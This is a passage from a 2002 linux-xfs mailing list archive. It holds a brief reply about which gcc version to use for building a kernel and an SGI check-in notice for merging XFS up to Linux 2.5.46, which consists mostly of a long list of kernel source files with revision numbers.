watching the assignee. From owner-linux-xfs@oss.sgi.com Mon Nov 4 14:58:17 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Mon, 04 Nov 2002 14:58:19 -0800 (PST) Received: from ubergeek ([209.184.141.189]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gA4MwHuR007359 for ; Mon, 4 Nov 2002 14:58:17 -0800 Received: (qmail 4168 invoked by uid 500); 4 Nov 2002 22:58:48 -0000 Subject: Re: upgrading gcc From: Austin Gonyou To: Seth Mos Cc: ksimach@ksimachine.com, linux-xfs@oss.sgi.com In-Reply-To: <4.3.2.7.2.20021102141723.02d50420@pop.xs4all.nl> References: <4.3.2.7.2.20021102141723.02d50420@pop.xs4all.nl> Content-Type: text/plain Content-Transfer-Encoding: 7bit X-Mailer: Ximian Evolution 1.0.8 (1.0.8-10) Date: 04 Nov 2002 16:58:48 -0600 Message-Id: <1036450728.1580.46.camel@ubergeek> Mime-Version: 1.0 X-archive-position: 1501 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: austin@coremetrics.com Precedence: bulk X-list: linux-xfs On Sat, 2002-11-02 at 07:18, Seth Mos wrote: > At 17:51 1-11-2002 -0500, Joe St.Clair wrote: > >I am having some proglems building a new kernel with the existing "gcc" > > >and if this upgrade would work then I should be set. > >As this is a compiler I would assume it is not going to crash the > >system. If it won't work I should be able to uninstall and reinstall > the > >old "gcc" and dependencies. > > I tried rebuilding on a 7.2 box and it failed with gcc-2.96-108 There is 2.96-110. It seems to work fine. I'd use gcc 3.2 though. > Cheers > -- > Seth > It might just be your lucky day, if you only knew. > From owner-linux-xfs@oss.sgi.com Mon Nov 4 19:45:55 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Mon, 04 Nov 2002 19:46:05 -0800 (PST) Received: from ledzep.americas.sgi.com (eaganfw1.SGI.COM [198.149.7.1]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gA53jtuR020457 for ; Mon, 4 Nov 2002 19:45:55 -0800 Received: from daisy-e185.americas.sgi.com (daisy-e185.americas.sgi.com [128.162.185.214]) by ledzep.americas.sgi.com (SGI-8.9.3/americas-smart-nospam1.1) with ESMTP id VAA85778 for ; Mon, 4 Nov 2002 21:46:51 -0600 (CST) Received: from jen.americas.sgi.com (jen.americas.sgi.com [128.162.187.49]) by daisy-e185.americas.sgi.com (SGI-8.9.3/SGI-server-1.8) with ESMTP id VAA11487 for ; Mon, 4 Nov 2002 21:46:51 -0600 (CST) From: Steve Lord Received: by jen.americas.sgi.com (8.11.6/SGI-client-1.7) id gA53klu03371; Mon, 4 Nov 2002 21:46:47 -0600 Message-Id: <200211050346.gA53klu03371@jen.americas.sgi.com> Date: Mon, 4 Nov 2002 21:46:47 -0600 Subject: TAKE - merge up to 2.5.46 To: linux-xfs@oss.sgi.com X-archive-position: 1502 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: lord@sgi.com Precedence: bulk X-list: linux-xfs Turning XFS ACLs needs another change beyond this, if you want them, then you need to enabled acls in another filesystem (ext2/ext3/jfs). Date: Mon Nov 4 19:41:17 PST 2002 Workarea: jen.americas.sgi.com:/src/lord/xfs-merge.2.5 The following file(s) were checked into: bonnie.engr.sgi.com:/isms/slinx/2.5.x-xfs Modid: 2.5.x-xfs:slinx:132035a linux/usr/gen_init_cpio.c - 1.1 linux/usr/Makefile - 1.1 linux/include/asm-v850/ipcbuf.h - 1.1 linux/include/asm-v850/ipc.h - 1.1 linux/include/asm-v850/page.h - 1.1 linux/fs/mbcache.c - 1.1 linux/include/asm-v850/nb85e_utils.h - 1.1 linux/net/bluetooth/hci_proc.c - 1.1 linux/include/asm-v850/nb85e_uart.h - 1.1 linux/include/asm-v850/nb85e_timer_d.h - 1.1 linux/include/asm-m68k/kmap_types.h - 1.1 linux/fs/hugetlbfs/inode.c - 1.1 linux/fs/hugetlbfs/Makefile - 1.1 linux/fs/ext3/xattr_user.c - 1.1 linux/fs/ext3/xattr.h - 1.1 linux/fs/ext3/xattr.c - 1.1 linux/include/asm-m68k/percpu.h - 1.1 linux/fs/ext3/acl.h - 1.1 linux/fs/ext2/xattr_user.c - 1.1 linux/arch/alpha/kernel/err_common.c - 1.1 linux/arch/alpha/kernel/err_impl.h - 1.1 linux/fs/ext2/xattr.h - 1.1 linux/include/asm-i386/vic.h - 1.1 linux/fs/ext2/xattr.c - 1.1 linux/fs/ext2/acl.h - 1.1 linux/fs/eventpoll.c - 1.1 linux/include/asm-m68knommu/MC68328.h - 1.1 linux/include/asm-m68knommu/MC68332.h - 1.1 linux/include/asm-m68knommu/MC68EZ328.h - 1.1 linux/include/asm-m68knommu/MC68VZ328.h - 1.1 linux/include/asm-m68knommu/a.out.h - 1.1 linux/include/asm-m68knommu/anchor.h - 1.1 linux/include/asm-m68knommu/asm-offsets.h - 1.1 linux/include/asm-m68knommu/atomic.h - 1.1 linux/include/asm-m68knommu/bitops.h - 1.1 linux/include/asm-m68knommu/bootinfo.h - 1.1 linux/include/asm-m68knommu/bootstd.h - 1.1 linux/include/asm-m68knommu/bugs.h - 1.1 linux/include/asm-m68knommu/byteorder.h - 1.1 linux/include/asm-m68knommu/cache.h - 1.1 linux/include/asm-m68knommu/cachectl.h - 1.1 linux/include/asm-m68knommu/cacheflush.h - 1.1 linux/include/asm-m68knommu/checksum.h - 1.1 linux/include/asm-m68knommu/coldfire.h - 1.1 linux/include/asm-m68knommu/commproc.h - 1.1 linux/include/asm-m68knommu/current.h - 1.1 linux/include/asm-m68knommu/dbg.h - 1.1 linux/include/asm-m68knommu/delay.h - 1.1 linux/fs/binfmt_som.c - 1.1 linux/fs/binfmt_flat.c - 1.1 linux/include/asm-m68knommu/div64.h - 1.1 linux/arch/alpha/lib/dbg_current.S - 1.1 linux/include/asm-m68knommu/dma.h - 1.1 linux/include/asm-m68knommu/elf.h - 1.1 linux/include/asm-m68knommu/elia.h - 1.1 linux/include/asm-m68knommu/entry.h - 1.1 linux/include/asm-m68knommu/errno.h - 1.1 linux/include/asm-m68knommu/fcntl.h - 1.1 linux/include/asm-m68knommu/fpu.h - 1.1 linux/include/asm-m68knommu/hardirq.h - 1.1 linux/include/asm-m68knommu/hdreg.h - 1.1 linux/include/asm-m68knommu/hwtest.h - 1.1 linux/include/asm-m68knommu/ide.h - 1.1 linux/include/asm-m68knommu/init.h - 1.1 linux/mm/fremap.c - 1.1 linux/include/asm-m68knommu/io.h - 1.1 linux/include/asm-m68knommu/io_hw_swap.h - 1.1 linux/include/asm-m68knommu/ioctl.h - 1.1 linux/include/asm-m68knommu/ioctls.h - 1.1 linux/include/asm-m68knommu/ipc.h - 1.1 linux/include/asm-m68knommu/ipcbuf.h - 1.1 linux/include/asm-m68knommu/irq.h - 1.1 linux/include/asm-m68knommu/keyboard.h - 1.1 linux/include/asm-m68knommu/kmap_types.h - 1.1 linux/include/asm-m68knommu/linkage.h - 1.1 linux/include/asm-m68knommu/linux_logo.h - 1.1 linux/include/asm-m68knommu/m5206sim.h - 1.1 linux/include/asm-m68knommu/m5249sim.h - 1.1 linux/include/asm-m68knommu/m5272sim.h - 1.1 linux/include/asm-m68knommu/m5307sim.h - 1.1 linux/include/asm-m68knommu/m5407sim.h - 1.1 linux/init/initramfs.c - 1.1 linux/drivers/serial/8250_gsc.c - 1.1 linux/include/asm-m68knommu/m68360.h - 1.1 linux/include/linux/xattr_acl.h - 1.1 linux/include/linux/videodev2.h - 1.1 linux/include/asm-m68knommu/m68360_enet.h - 1.1 linux/include/asm-m68knommu/m68360_pram.h - 1.1 linux/include/linux/som.h - 1.1 linux/drivers/scsi/sun3_scsi_vme.c - 1.1 linux/include/asm-m68knommu/m68360_quicc.h - 1.1 linux/include/asm-m68knommu/m68360_regs.h - 1.1 linux/include/asm-m68knommu/machdep.h - 1.1 linux/include/asm-m68knommu/math-emu.h - 1.1 linux/include/asm-m68knommu/mc146818rtc.h - 1.1 linux/include/asm-m68knommu/mcfdma.h - 1.1 linux/include/asm-m68knommu/mcfmbus.h - 1.1 linux/include/asm-m68knommu/mcfne.h - 1.1 linux/include/asm-m68knommu/mcfpci.h - 1.1 linux/include/asm-m68knommu/mcfsim.h - 1.1 linux/drivers/parisc/wax.c - 1.1 linux/drivers/parisc/superio.c - 1.1 linux/drivers/parisc/sba_iommu.c - 1.1 linux/drivers/parisc/power.c - 1.1 linux/drivers/parisc/led.c - 1.1 linux/drivers/parisc/lba_pci.c - 1.1 linux/drivers/parisc/lasi.c - 1.1 linux/drivers/parisc/iosapic_private.h - 1.1 linux/drivers/parisc/iosapic.c - 1.1 linux/drivers/parisc/gsc.h - 1.1 linux/include/linux/node.h - 1.1 linux/drivers/parisc/gsc.c - 1.1 linux/drivers/parisc/eisa_enumerator.c - 1.1 linux/drivers/parisc/eisa_eeprom.c - 1.1 linux/include/linux/memblk.h - 1.1 linux/include/linux/mbcache.h - 1.1 linux/drivers/parisc/eisa.c - 1.1 linux/drivers/parisc/dino.c - 1.1 linux/drivers/parisc/ccio-rm-dma.c - 1.1 linux/drivers/parisc/ccio-dma.c - 1.1 linux/drivers/parisc/asp.c - 1.1 linux/drivers/parisc/README.dino - 1.1 linux/include/linux/hugetlb.h - 1.1 linux/drivers/parisc/Makefile - 1.1 linux/drivers/parisc/Kconfig - 1.1 linux/include/linux/flat.h - 1.1 linux/include/asm-m68knommu/mcfsmc.h - 1.1 linux/include/asm-m68knommu/mcftimer.h - 1.1 linux/include/asm-m68knommu/mcfuart.h - 1.1 linux/include/asm-m68knommu/mcfwdebug.h - 1.1 linux/include/asm-m68knommu/md.h - 1.1 linux/include/asm-m68knommu/mman.h - 1.1 linux/drivers/net/mac8390.c - 1.1 linux/include/asm-m68knommu/mmu.h - 1.1 linux/include/asm-v850/user.h - 1.1 linux/include/asm-v850/unistd.h - 1.1 linux/include/asm-v850/unaligned.h - 1.1 linux/include/asm-v850/ucontext.h - 1.1 linux/include/asm-v850/uaccess.h - 1.1 linux/include/asm-v850/types.h - 1.1 linux/include/asm-m68knommu/mmu_context.h - 1.1 linux/include/asm-v850/topology.h - 1.1 linux/include/asm-v850/tlbflush.h - 1.1 linux/include/asm-v850/tlb.h - 1.1 linux/include/asm-v850/timex.h - 1.1 linux/include/asm-v850/thread_info.h - 1.1 linux/include/asm-v850/termios.h - 1.1 linux/include/asm-m68knommu/module.h - 1.1 linux/drivers/net/fec.h - 1.1 linux/drivers/net/fec.c - 1.1 linux/include/asm-m68knommu/movs.h - 1.1 linux/include/asm-m68knommu/msgbuf.h - 1.1 linux/include/asm-v850/termbits.h - 1.1 linux/include/asm-m68knommu/namei.h - 1.1 linux/drivers/net/68360enet.c - 1.1 linux/drivers/mtd/maps/uclinux.c - 1.1 linux/include/asm-m68knommu/nap.h - 1.1 linux/include/asm-v850/teg.h - 1.1 linux/include/asm-v850/system.h - 1.1 linux/arch/i386/mach-generic/topology.c - 1.1 linux/include/asm-v850/string.h - 1.1 linux/include/asm-v850/statfs.h - 1.1 linux/include/asm-m68knommu/nettel.h - 1.1 linux/include/asm-v850/stat.h - 1.1 linux/include/asm-v850/softirq.h - 1.1 linux/include/asm-m68knommu/openprom.h - 1.1 linux/include/asm-v850/sockios.h - 1.1 linux/include/asm-m68knommu/oplib.h - 1.1 linux/include/asm-v850/socket.h - 1.1 linux/include/asm-v850/simsyscall.h - 1.1 linux/include/asm-i386/node.h - 1.1 linux/drivers/media/video/v4l2-common.c - 1.1 linux/include/asm-m68knommu/page.h - 1.1 linux/include/asm-i386/memblk.h - 1.1 linux/include/asm-i386/cpu.h - 1.1 linux/include/asm-m68knommu/page_offset.h - 1.1 linux/include/asm-v850/sim85e2c.h - 1.1 linux/drivers/media/video/saa7134/saa7134.h - 1.1 linux/include/asm-v850/sim.h - 1.1 linux/drivers/media/video/saa7134/saa7134-video.c - 1.1 linux/drivers/media/video/saa7134/saa7134-vbi.c - 1.1 linux/include/asm-v850/signal.h - 1.1 linux/drivers/media/video/saa7134/saa7134-tvaudio.c - 1.1 linux/drivers/media/video/saa7134/saa7134-ts.c - 1.1 linux/drivers/media/video/saa7134/saa7134-reg.h - 1.1 linux/drivers/media/video/saa7134/saa7134-oss.c - 1.1 linux/drivers/media/video/saa7134/saa7134-i2c.c - 1.1 linux/drivers/media/video/saa7134/saa7134-core.c - 1.1 linux/drivers/media/video/saa7134/saa7134-cards.c - 1.1 linux/drivers/media/video/saa7134/Makefile - 1.1 linux/include/asm-m68knommu/param.h - 1.1 linux/include/asm-m68knommu/pci.h - 1.1 linux/include/asm-m68knommu/percpu.h - 1.1 linux/include/asm-m68knommu/pgalloc.h - 1.1 linux/include/asm-m68knommu/pgtable.h - 1.1 linux/include/asm-m68knommu/poll.h - 1.1 linux/include/asm-m68knommu/posix_types.h - 1.1 linux/include/asm-m68knommu/processor.h - 1.1 linux/include/asm-m68knommu/ptrace.h - 1.1 linux/include/asm-m68knommu/quicc_simple.h - 1.1 linux/include/asm-m68knommu/resource.h - 1.1 linux/include/asm-m68knommu/rmap.h - 1.1 linux/include/asm-m68knommu/scatterlist.h - 1.1 linux/include/asm-m68knommu/segment.h - 1.1 linux/fs/xattr_acl.c - 1.1 linux/include/asm-m68knommu/semaphore-helper.h - 1.1 linux/include/asm-m68knommu/semaphore.h - 1.1 linux/include/asm-m68knommu/sembuf.h - 1.1 linux/include/asm-m68knommu/semp3.h - 1.1 linux/include/asm-m68knommu/setup.h - 1.1 linux/include/asm-m68knommu/shglcore.h - 1.1 linux/include/asm-m68knommu/shglports.h - 1.1 linux/include/asm-m68knommu/shm.h - 1.1 linux/include/asm-m68knommu/shmbuf.h - 1.1 linux/drivers/base/node.c - 1.1 linux/drivers/base/memblk.c - 1.1 linux/include/asm-m68knommu/shmparam.h - 1.1 linux/include/asm-m68knommu/sigcontext.h - 1.1 linux/include/asm-m68knommu/siginfo.h - 1.1 linux/include/asm-m68knommu/signal.h - 1.1 linux/include/asm-m68knommu/smp.h - 1.1 linux/include/asm-m68knommu/socket.h - 1.1 linux/include/asm-m68knommu/sockios.h - 1.1 linux/include/asm-m68knommu/softirq.h - 1.1 linux/include/asm-m68knommu/spinlock.h - 1.1 linux/drivers/base/firmware.c - 1.1 linux/include/asm-m68knommu/stat.h - 1.1 linux/include/asm-m68knommu/statfs.h - 1.1 linux/include/asm-m68knommu/string.h - 1.1 linux/include/asm-m68knommu/system.h - 1.1 linux/include/asm-m68knommu/termbits.h - 1.1 linux/include/asm-m68knommu/termios.h - 1.1 linux/include/asm-m68knommu/thread_info.h - 1.1 linux/include/asm-m68knommu/timex.h - 1.1 linux/include/asm-m68knommu/tlb.h - 1.1 linux/include/asm-m68knommu/tlbflush.h - 1.1 linux/include/asm-m68knommu/topology.h - 1.1 linux/include/asm-m68knommu/traps.h - 1.1 linux/include/asm-m68knommu/types.h - 1.1 linux/include/asm-m68knommu/uaccess.h - 1.1 linux/include/asm-m68knommu/ucontext.h - 1.1 linux/include/asm-m68knommu/unaligned.h - 1.1 linux/include/asm-m68knommu/unistd.h - 1.1 linux/include/asm-m68knommu/user.h - 1.1 linux/arch/v850/vmlinux.lds.S - 1.1 linux/arch/v850/sim85e2c.ld - 1.1 linux/arch/v850/sim.ld - 1.1 linux/arch/v850/rte_ma1_cb.ld - 1.1 linux/arch/v850/rte_ma1_cb-rom.ld - 1.1 linux/arch/m68k/mm/sun3kmap.c - 1.1 linux/arch/v850/rte_ma1_cb-ksram.ld - 1.1 linux/arch/v850/lib/negdi2.c - 1.1 linux/arch/v850/lib/muldi3.c - 1.1 linux/arch/v850/lib/memset.c - 1.1 linux/arch/v850/lib/memcpy.c - 1.1 linux/arch/v850/lib/lshrdi3.c - 1.1 linux/arch/v850/lib/checksum.c - 1.1 linux/arch/v850/lib/ashrdi3.c - 1.1 linux/arch/v850/lib/ashldi3.c - 1.1 linux/include/asm-v850/siginfo.h - 1.1 linux/arch/v850/lib/Makefile - 1.1 linux/arch/v850/kernel/v850_ksyms.c - 1.1 linux/include/asm-v850/sigcontext.h - 1.1 linux/arch/v850/kernel/time.c - 1.1 linux/include/asm-v850/shmparam.h - 1.1 linux/arch/v850/kernel/syscalls.c - 1.1 linux/arch/m68knommu/Kconfig - 1.1 linux/arch/m68knommu/Makefile - 1.1 linux/arch/m68knommu/defconfig - 1.1 linux/arch/m68knommu/kernel/Makefile - 1.1 linux/arch/m68knommu/kernel/asm-offsets.c - 1.1 linux/arch/m68knommu/kernel/comempci.c - 1.1 linux/arch/m68knommu/kernel/init_task.c - 1.1 linux/arch/m68knommu/kernel/ints.c - 1.1 linux/arch/m68knommu/kernel/m68k_ksyms.c - 1.1 linux/arch/m68knommu/kernel/process.c - 1.1 linux/arch/m68knommu/kernel/ptrace.c - 1.1 linux/arch/m68knommu/kernel/semaphore.c - 1.1 linux/arch/m68knommu/kernel/setup.c - 1.1 linux/arch/m68knommu/kernel/signal.c - 1.1 linux/arch/m68knommu/kernel/sys_m68k.c - 1.1 linux/arch/m68knommu/kernel/syscalltable.S - 1.1 linux/arch/m68knommu/kernel/time.c - 1.1 linux/arch/m68knommu/kernel/traps.c - 1.1 linux/arch/m68knommu/lib/Makefile - 1.1 linux/arch/m68knommu/lib/ashldi3.c - 1.1 linux/arch/m68knommu/lib/ashrdi3.c - 1.1 linux/arch/m68knommu/lib/checksum.c - 1.1 linux/arch/m68knommu/lib/divsi3.S - 1.1 linux/arch/m68knommu/lib/lshrdi3.c - 1.1 linux/arch/m68knommu/lib/memcpy.c - 1.1 linux/arch/m68knommu/lib/memset.c - 1.1 linux/arch/m68knommu/lib/modsi3.S - 1.1 linux/arch/m68knommu/lib/muldi3.c - 1.1 linux/arch/m68knommu/lib/mulsi3.S - 1.1 linux/arch/m68knommu/lib/semaphore.S - 1.1 linux/arch/m68knommu/lib/udivsi3.S - 1.1 linux/arch/m68knommu/lib/umodsi3.S - 1.1 linux/arch/m68knommu/mm/Makefile - 1.1 linux/arch/m68knommu/mm/fault.c - 1.1 linux/arch/m68knommu/mm/init.c - 1.1 linux/arch/m68knommu/mm/kmap.c - 1.1 linux/arch/m68knommu/mm/memory.c - 1.1 linux/arch/m68knommu/platform/5206/ARNEWSH/crt0_ram.S - 1.1 linux/arch/m68knommu/platform/5206/ARNEWSH/ram.ld - 1.1 linux/arch/m68knommu/platform/5206/Makefile - 1.1 linux/arch/m68knommu/platform/5206/config.c - 1.1 linux/arch/m68knommu/platform/5206e/MOTOROLA/crt0_ram.S - 1.1 linux/arch/m68knommu/platform/5206e/MOTOROLA/ram.ld - 1.1 linux/arch/m68knommu/platform/5206e/Makefile - 1.1 linux/arch/m68knommu/platform/5206e/config.c - 1.1 linux/arch/m68knommu/platform/5206e/eLITE/crt0_ram.S - 1.1 linux/arch/m68knommu/platform/5206e/eLITE/ram.ld - 1.1 linux/arch/m68knommu/platform/5249/MOTOROLA/crt0_ram.S - 1.1 linux/arch/m68knommu/platform/5249/MOTOROLA/ram.ld - 1.1 linux/arch/m68knommu/platform/5249/Makefile - 1.1 linux/arch/m68knommu/platform/5249/config.c - 1.1 linux/arch/m68knommu/platform/5272/MOTOROLA/crt0_ram.S - 1.1 linux/arch/m68knommu/platform/5272/MOTOROLA/ram.ld - 1.1 linux/arch/m68knommu/platform/5272/Makefile - 1.1 linux/arch/m68knommu/platform/5272/NETtel/crt0_ram.S - 1.1 linux/arch/m68knommu/platform/5272/NETtel/ram.ld - 1.1 linux/arch/m68knommu/platform/5272/config.c - 1.1 linux/arch/m68knommu/platform/5307/ARNEWSH/crt0_ram.S - 1.1 linux/arch/m68knommu/platform/5307/ARNEWSH/ram.ld - 1.1 linux/arch/m68knommu/platform/5307/CLEOPATRA/crt0_ram.S - 1.1 linux/arch/m68knommu/platform/5307/CLEOPATRA/ram.ld - 1.1 linux/arch/m68knommu/platform/5307/MOTOROLA/crt0_ram.S - 1.1 linux/arch/m68knommu/platform/5307/MOTOROLA/ram.ld - 1.1 linux/arch/m68knommu/platform/5307/MP3/crt0_ram.S - 1.1 linux/arch/m68knommu/platform/5307/MP3/ram.ld - 1.1 linux/arch/m68knommu/platform/5307/Makefile - 1.1 linux/arch/m68knommu/platform/5307/NETtel/crt0_ram.S - 1.1 linux/arch/m68knommu/platform/5307/NETtel/ram.ld - 1.1 linux/arch/m68knommu/platform/5307/config.c - 1.1 linux/arch/m68knommu/platform/5307/entry.S - 1.1 linux/arch/m68knommu/platform/5407/CLEOPATRA/crt0_ram.S - 1.1 linux/arch/m68knommu/platform/5407/CLEOPATRA/ram.ld - 1.1 linux/arch/m68knommu/platform/5407/MOTOROLA/crt0_ram.S - 1.1 linux/arch/m68knommu/platform/5407/MOTOROLA/ram.ld - 1.1 linux/arch/m68knommu/platform/5407/Makefile - 1.1 linux/arch/m68knommu/platform/5407/config.c - 1.1 linux/arch/m68knommu/platform/68328/Makefile - 1.1 linux/arch/m68knommu/platform/68328/bootlogo.h - 1.1 linux/arch/m68knommu/platform/68328/bootlogo.pl - 1.1 linux/arch/m68knommu/platform/68328/config.c - 1.1 linux/arch/m68knommu/platform/68328/entry.S - 1.1 linux/arch/m68knommu/platform/68328/ints.c - 1.1 linux/arch/m68knommu/platform/68328/pilot/crt0_rom.S - 1.1 linux/arch/m68knommu/platform/68328/pilot/rom.ld - 1.1 linux/arch/m68knommu/platform/68360/Makefile - 1.1 linux/arch/m68knommu/platform/68360/commproc.c - 1.1 linux/arch/m68knommu/platform/68360/config.c - 1.1 linux/arch/m68knommu/platform/68360/entry.S - 1.1 linux/arch/m68knommu/platform/68360/ints.c - 1.1 linux/arch/m68knommu/platform/68360/uCquicc/crt0_ram.S - 1.1 linux/arch/m68knommu/platform/68360/uCquicc/crt0_rom.S - 1.1 linux/arch/m68knommu/platform/68360/uCquicc/ram.ld - 1.1 linux/arch/m68knommu/platform/68360/uCquicc/rom.ld - 1.1 linux/arch/m68knommu/platform/68EZ328/Makefile - 1.1 linux/arch/m68knommu/platform/68EZ328/bootlogo.h - 1.1 linux/arch/m68knommu/platform/68EZ328/config.c - 1.1 linux/arch/m68knommu/platform/68EZ328/ucsimm/crt0_fixed.S - 1.1 linux/arch/m68knommu/platform/68EZ328/ucsimm/crt0_himem.S - 1.1 linux/arch/m68knommu/platform/68EZ328/ucsimm/crt0_ram.S - 1.1 linux/arch/m68knommu/platform/68EZ328/ucsimm/crt0_rom.S - 1.1 linux/arch/m68knommu/platform/68EZ328/ucsimm/fixed.ld - 1.1 linux/arch/m68knommu/platform/68EZ328/ucsimm/himem.ld - 1.1 linux/arch/m68knommu/platform/68EZ328/ucsimm/ram.ld - 1.1 linux/arch/m68knommu/platform/68EZ328/ucsimm/rom.ld - 1.1 linux/arch/m68knommu/platform/68VZ328/Makefile - 1.1 linux/arch/m68knommu/platform/68VZ328/de2/config.c - 1.1 linux/arch/m68knommu/platform/68VZ328/de2/crt0_fixed.S - 1.1 linux/arch/m68knommu/platform/68VZ328/de2/crt0_himem.S - 1.1 linux/arch/m68knommu/platform/68VZ328/de2/crt0_ram.S - 1.1 linux/arch/m68knommu/platform/68VZ328/de2/crt0_rom.S - 1.1 linux/arch/m68knommu/platform/68VZ328/de2/fixed.ld - 1.1 linux/arch/m68knommu/platform/68VZ328/de2/himem.ld - 1.1 linux/arch/m68knommu/platform/68VZ328/de2/ram.ld - 1.1 linux/arch/m68knommu/platform/68VZ328/de2/rom.ld - 1.1 linux/arch/m68knommu/platform/68VZ328/ucdimm/crt0_fixed.S - 1.1 linux/arch/m68knommu/platform/68VZ328/ucdimm/crt0_himem.S - 1.1 linux/arch/m68knommu/platform/68VZ328/ucdimm/crt0_ram.S - 1.1 linux/arch/m68knommu/platform/68VZ328/ucdimm/crt0_rom.S - 1.1 linux/arch/m68knommu/platform/68VZ328/ucdimm/fixed.ld - 1.1 linux/arch/m68knommu/platform/68VZ328/ucdimm/himem.ld - 1.1 linux/arch/m68knommu/platform/68VZ328/ucdimm/ram.ld - 1.1 linux/arch/m68knommu/platform/68VZ328/ucdimm/rom.ld - 1.1 linux/arch/m68knommu/platform/Makefile - 1.1 linux/arch/m68knommu/vmlinux.lds.S - 1.1 linux/include/asm-v850/shmbuf.h - 1.1 linux/include/asm-v850/setup.h - 1.1 linux/arch/v850/kernel/simcons.c - 1.1 linux/arch/v850/kernel/sim85e2c.c - 1.1 linux/include/asm-v850/sembuf.h - 1.1 linux/arch/v850/kernel/sim.c - 1.1 linux/include/asm-v850/semaphore.h - 1.1 linux/include/asm-v850/segment.h - 1.1 linux/arch/v850/kernel/signal.c - 1.1 linux/arch/v850/kernel/setup.c - 1.1 linux/arch/v850/kernel/semaphore.c - 1.1 linux/include/asm-v850/scatterlist.h - 1.1 linux/include/asm-v850/rte_nb85e_cb.h - 1.1 linux/include/asm-v850/rte_mb_a_pci.h - 1.1 linux/arch/v850/kernel/rte_nb85e_cb.c - 1.1 linux/arch/v850/kernel/rte_mb_a_pci.c - 1.1 linux/include/asm-v850/rte_ma1_cb.h - 1.1 linux/include/asm-v850/rte_cb.h - 1.1 linux/arch/v850/kernel/rte_ma1_cb.c - 1.1 linux/arch/v850/kernel/rte_cb_multi.c - 1.1 linux/include/asm-v850/rmap.h - 1.1 linux/include/asm-v850/resource.h - 1.1 linux/include/asm-v850/ptrace.h - 1.1 linux/arch/v850/kernel/rte_cb_leds.c - 1.1 linux/arch/v850/kernel/rte_cb.c - 1.1 linux/arch/v850/kernel/ptrace.c - 1.1 linux/arch/v850/kernel/procfs.c - 1.1 linux/include/asm-v850/processor.h - 1.1 linux/include/asm-v850/posix_types.h - 1.1 linux/include/asm-v850/poll.h - 1.1 linux/include/asm-v850/pgtable.h - 1.1 linux/include/asm-v850/pgalloc.h - 1.1 linux/include/asm-v850/percpu.h - 1.1 linux/include/asm-v850/pci.h - 1.1 linux/include/asm-v850/param.h - 1.1 linux/include/asm-v850/module.h - 1.1 linux/arch/v850/kernel/process.c - 1.1 linux/arch/v850/kernel/nb85e_utils.c - 1.1 linux/arch/v850/kernel/nb85e_timer_d.c - 1.1 linux/include/asm-v850/nb85e_timer_c.h - 1.1 linux/include/asm-v850/nb85e_intc.h - 1.1 linux/include/asm-v850/nb85e_cache.h - 1.1 linux/include/asm-v850/nb85e.h - 1.1 linux/include/asm-v850/namei.h - 1.1 linux/include/asm-v850/msgbuf.h - 1.1 linux/arch/v850/kernel/init_task.c - 1.1 linux/include/asm-v850/mmu_context.h - 1.1 linux/include/asm-v850/mmu.h - 1.1 linux/include/asm-v850/mman.h - 1.1 linux/include/asm-v850/macrology.h - 1.1 linux/include/asm-v850/machdep.h - 1.1 linux/include/asm-v850/ma1.h - 1.1 linux/include/asm-v850/ma.h - 1.1 linux/include/asm-v850/linkage.h - 1.1 linux/include/asm-v850/kmap_types.h - 1.1 linux/include/asm-v850/irq.h - 1.1 linux/arch/v850/kernel/nb85e_intc.c - 1.1 linux/arch/v850/kernel/memcons.c - 1.1 linux/include/asm-v850/ioctls.h - 1.1 linux/include/asm-v850/ioctl.h - 1.1 linux/include/asm-v850/io.h - 1.1 linux/include/asm-v850/hw_irq.h - 1.1 linux/include/asm-v850/highres_timer.h - 1.1 linux/include/asm-v850/hardirq.h - 1.1 linux/include/asm-v850/gbus_int.h - 1.1 linux/include/asm-v850/fpga85e2c.h - 1.1 linux/arch/v850/kernel/mach.h - 1.1 linux/arch/v850/kernel/mach.c - 1.1 linux/arch/v850/kernel/ma.c - 1.1 linux/arch/v850/kernel/irq.c - 1.1 linux/arch/v850/kernel/intv.S - 1.1 linux/include/asm-v850/elf.h - 1.1 linux/arch/v850/kernel/highres_timer.c - 1.1 linux/include/asm-v850/fcntl.h - 1.1 linux/include/asm-v850/errno.h - 1.1 linux/include/asm-v850/entry.h - 1.1 linux/include/asm-v850/asm.h - 1.1 linux/include/asm-v850/dma.h - 1.1 linux/include/asm-v850/div64.h - 1.1 linux/include/asm-v850/delay.h - 1.1 linux/include/asm-v850/current.h - 1.1 linux/include/asm-v850/clinkage.h - 1.1 linux/include/asm-v850/checksum.h - 1.1 linux/include/asm-v850/cacheflush.h - 1.1 linux/include/asm-v850/cache.h - 1.1 linux/include/asm-v850/byteorder.h - 1.1 linux/include/asm-v850/bugs.h - 1.1 linux/include/asm-v850/bitops.h - 1.1 linux/include/asm-v850/atomic.h - 1.1 linux/arch/v850/kernel/gbus_int.c - 1.1 linux/arch/v850/kernel/head.S - 1.1 linux/include/asm-v850/a.out.h - 1.1 linux/arch/v850/kernel/fpga85e2c.c - 1.1 linux/include/asm-v850/anna.h - 1.1 linux/arch/v850/kernel/entry.S - 1.1 linux/arch/v850/kernel/bug.c - 1.1 linux/arch/v850/kernel/asm-consts.c - 1.1 linux/arch/v850/kernel/anna.c - 1.1 linux/arch/v850/kernel/Makefile - 1.1 linux/arch/v850/Kconfig - 1.1 linux/arch/v850/fpga85e2c.ld - 1.1 linux/arch/v850/anna.ld - 1.1 linux/arch/v850/README - 1.1 linux/arch/v850/Makefile - 1.1 linux/arch/v850/anna-rom.ld - 1.1 linux/net/sunrpc/xdr.c - 1.10 linux/net/ipv4/tcp.c - 1.48 linux/mm/vmscan.c - 1.120 linux/mm/vmalloc.c - 1.47 linux/mm/swapfile.c - 1.68 linux/mm/swap_state.c - 1.54 linux/mm/swap.c - 1.30 linux/mm/slab.c - 1.44 linux/mm/page_alloc.c - 1.99 linux/mm/mremap.c - 1.37 linux/mm/mprotect.c - 1.36 linux/mm/mmap.c - 1.65 linux/mm/memory.c - 1.97 linux/mm/filemap.c - 1.142 linux/mm/Makefile - 1.21 linux/kernel/sys.c - 1.44 linux/kernel/sched.c - 1.88 linux/kernel/module.c - 1.31 